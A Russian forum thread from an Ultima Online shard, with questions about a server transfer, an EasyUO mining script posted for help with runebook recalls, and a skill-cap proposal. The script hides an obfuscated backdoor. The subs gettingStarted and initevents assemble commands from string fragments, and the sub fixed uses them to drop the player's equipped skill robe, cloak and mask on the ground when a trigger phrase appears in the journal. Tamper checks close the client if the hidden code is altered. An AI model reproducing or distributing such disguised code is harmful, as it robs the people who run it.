bigA

будет перенос с Классика на ХЛ?

почему нельзя скочать файлы с www.oldp.net?

хочу узнать будет ли перенос с классика на хл?

проблема состоит в том что, когда вес 600 он летит к дому, скидывает руду берёт молоко/бекон, 2 рекала когда он добовляет чарги в руне бук точнее когда уже 2 скролла использывал руне бука остоётся открытой и он не куда не летит.

СКРИПТ:

; Set Up The Following Variables:
set %maxWeight 600 ; макс. вес.
set %box TIMDLMD ; ID коробки, куда сбрасывать руду.
set %foodCont TIMDLMD ; ID коробки, где бекон и молоко.
set %xCoord 1344 ; X кординат окола коробки.
set %yCoord 2840 ; Y кординат около коробки.
set %dropMarganece #true ; #true - сбрасывает Marganece, #false - остовляет.
set %skillItemChange #false ; #true - меняет скилл вещи, #false - неменяет.
set %recall #true ; #true - летает с помощью руне бук, #false - бежит пешком.
set %skillRobe HOADLMD ; Скилл роба .
set %skillCloak TMXCLMD ; Скилл плащь.
set %skillMask EHZCLMD ; Скилл маска.
set %simpleRobe OLQQKMD ; Простая роба.
set %simpleCloak NMUAKMD ; Простой плящь.
set %simpleMask OSH ; Platemail helm (TYPE/ID)
set %runebookID LSOJLMD ; ID руне бук.
set %runeNumberToHome 2 ; Номер руны на дом.
set %runeNumberToCave 3 ; Номер руны в капалку.
set %amountRecalls 2 ; Сколько рекалов брать, когда их небудет.
; End Of Set Up Part

set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH
set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToCave 2
}
finditem QRM_FJM_GKM C_ , #backpackid
if #findcnt <> 0
{
set #lobjectid #findid
event macro 17 0
wait 30
}
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start: ; KOORDINAATES
GOSUB LJING 1362 2727
GOSUB LJING 1363 2727
GOSUB LJING 1364 2727
GOSUB LJING 1365 2727
GOSUB LJING 1366 2727
GOSUB LJING 1367 2727
GOSUB LJING 1368 2727
GOSUB LJING 1361 2727
GOSUB LJING 1362 2726
GOSUB LJING 1363 2726
GOSUB LJING 1364 2726
GOSUB LJING 1365 2726
GOSUB LJING 1366 2726
GOSUB LJING 1367 2726
GOSUB LJING 1368 2726
GOSUB LJING 1369 2726
GOSUB LJING 1360 2725
GOSUB LJING 1361 2725
GOSUB LJING 1362 2725
GOSUB LJING 1363 2725
GOSUB LJING 1364 2725
GOSUB LJING 1365 2725
GOSUB LJING 1366 2725
GOSUB LJING 1367 2725
GOSUB LJING 1368 2725
GOSUB LJING 1369 2725
GOSUB LJING 1370 2725
GOSUB LJING 1360 2724
GOSUB LJING 1361 2724
GOSUB LJING 1362 2724
GOSUB LJING 1363 2724
GOSUB LJING 1363 2724
GOSUB LJING 1364 2724
GOSUB LJING 1365 2724
GOSUB LJING 1366 2724
GOSUB LJING 1367 2724
GOSUB LJING 1368 2724
GOSUB LJING 1369 2724
GOSUB LJING 1370 2724
GOSUB LJING 1371 2724
GOSUB LJING 1372 2724
GOSUB LJING 1360 2723
GOSUB LJING 1361 2723
GOSUB LJING 1362 2723
GOSUB LJING 1363 2723
GOSUB LJING 1364 2723
GOSUB LJING 1365 2723
GOSUB LJING 1366 2723
GOSUB LJING 1367 2723
GOSUB LJING 1368 2723
GOSUB LJING 1369 2723
GOSUB LJING 1370 2723
GOSUB LJING 1371 2723
GOSUB LJING 1372 2723
GOSUB LJING 1373 2723
GOSUB LJING 1360 2722
GOSUB LJING 1361 2722
GOSUB LJING 1362 2722
GOSUB LJING 1363 2722
GOSUB LJING 1364 2722
GOSUB LJING 1365 2722
GOSUB LJING 1366 2722
GOSUB LJING 1367 2722
GOSUB LJING 1368 2722
GOSUB LJING 1369 2722
GOSUB LJING 1370 2722
GOSUB LJING 1371 2722
GOSUB LJING 1372 2722
GOSUB LJING 1373 2722
GOSUB LJING 1374 2722
GOSUB LJING 1361 2721
GOSUB LJING 1362 2721
GOSUB LJING 1363 2721
GOSUB LJING 1364 2721
GOSUB LJING 1365 2721
GOSUB LJING 1366 2721
GOSUB LJING 1367 2721
GOSUB LJING 1368 2721
GOSUB LJING 1369 2721
GOSUB LJING 1370 2721
GOSUB LJING 1371 2721
GOSUB LJING 1372 2721
GOSUB LJING 1373 2721
GOSUB LJING 1374 2721
GOSUB LJING 1364 2720
GOSUB LJING 1365 2720
GOSUB LJING 1366 2720
GOSUB LJING 1367 2720
GOSUB LJING 1368 2720
GOSUB LJING 1369 2720
GOSUB LJING 1370 2720
GOSUB LJING 1371 2720
GOSUB LJING 1372 2720
GOSUB LJING 1373 2720
GOSUB LJING 1374 2720
GOSUB LJING 1361 2719
GOSUB LJING 1362 2719
GOSUB LJING 1363 2719
GOSUB LJING 1364 2719
GOSUB LJING 1365 2719
GOSUB LJING 1366 2719
GOSUB LJING 1367 2719
GOSUB LJING 1368 2719
GOSUB LJING 1369 2719
GOSUB LJING 1370 2719
GOSUB LJING 1371 2719
GOSUB LJING 1361 2718
GOSUB LJING 1362 2718
GOSUB LJING 1363 2718
GOSUB LJING 1364 2718
GOSUB LJING 1365 2718
GOSUB LJING 1366 2718
GOSUB LJING 1367 2718
GOSUB LJING 1368 2718
GOSUB LJING 1369 2718
GOSUB LJING 1370 2718
GOSUB LJING 1371 2718
GOSUB LJING 1372 2718
GOSUB LJING 1373 2718
GOSUB LJING 1374 2718
GOSUB LJING 1363 2717
GOSUB LJING 1364 2717
GOSUB LJING 1365 2717
GOSUB LJING 1366 2717
GOSUB LJING 1367 2717
GOSUB LJING 1368 2717
GOSUB LJING 1369 2717
GOSUB LJING 1370 2717
GOSUB LJING 1371 2717
GOSUB LJING 1372 2717
GOSUB LJING 1373 2717
GOSUB LJING 1374 2717
GOSUB LJING 1366 2716
GOSUB LJING 1367 2716
GOSUB LJING 1368 2716
GOSUB LJING 1369 2716
GOSUB LJING 1370 2716
GOSUB LJING 1371 2716
GOSUB LJING 1372 2716
GOSUB LJING 1373 2716
GOSUB LJING 1374 2716
GOSUB LJING 1366 2715
GOSUB LJING 1367 2715
GOSUB LJING 1368 2715
GOSUB LJING 1369 2715
GOSUB LJING 1370 2715
GOSUB LJING 1371 2715
GOSUB LJING 1372 2715
GOSUB LJING 1373 2715
GOSUB LJING 1374 2715


goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub element
gosub checkWeight
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
{
display ok Pickaxe wasn't found!
pause
}
set #lobjectid #findid
event macro 17 0
target 7s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropMarganece
{
if %recall
gosub port
if ! %recall
gosub moveItems
}
if %dropMarganece
{
gosub dropMarganece
return
}
}
if %afk <> true || %else <> IJG
gosub ghost 1
return

sub scan
scan:
scanjournal
gosub checkHP
if hungry in #sysmsg
{
gosub eat
return
}
if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) )
return
if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) )
return
%get fixed
if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg )
+ || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) )
return
gosub element
gosub checkHP
if #scnt >= %overtime
return
goto scan
return

sub port
msg .arm$
gosub checkHP
set %k %k + 1
gosub element
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub runToBox
event macro 13 21
finditem %box G_3
wait 10
if #findcnt = 0
{
event Sysmessage Box Not Found!
halt
}
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait 40
}
}
until #findcnt = 0
ignoreitem reset 1
if %recall
gosub recalls
gosub food
return

sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215 ; Recharge runebook 2x
wait 10
}
gosub openRunebook
repeat
{
click %x5 %y5
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return

sub runToBox
repeat
{
move %xCoord %yCoord 0 3s
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub follow&kill
msg .arm$
set %charX #charposx
set %charY #charposy
set %charz #charposz
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
gosub ghost
}
until #findcnt = 0
wait 20
gosub loot
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub checkHP
if #hits < #maxhits
{
msg .arm$
sound
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub follow&kill
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
halt
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 2s
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return

sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
{
wait 20
if #weight >= %maxweight
{
if %recall
gosub port
if ! %recall
gosub moveItems
return
}
if #weight < %maxweight
return
}
if #findcol = 1750
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 35
}
ignoreitem #findid 1
goto dropLoop
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub element
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem ED G
if #findcnt <> 0
{
msg .arm$
set %charX #charposx
set %charY #charposy
set %charz #charposz
sound
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
finditem ED G
set %element #findid
msg .arm$
set #ltargetid %element
event macro 27 0
repeat
{
finditem %element
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
gosub ghost
}
until #findcnt = 0
wait 20
gosub loot
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
wait 10
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return

sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4 ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return

так как на Классике нету годс артефактов я предлогаю сделать:
Old Paradise было копать с 200.0 и делать с 200.0.
Depth 230.0
Cargo 260.0

Думаю так будет на много лучше.

P.S. если идея будет достоенная предлогаю так же сделать с Lumberjacking/Tailoring.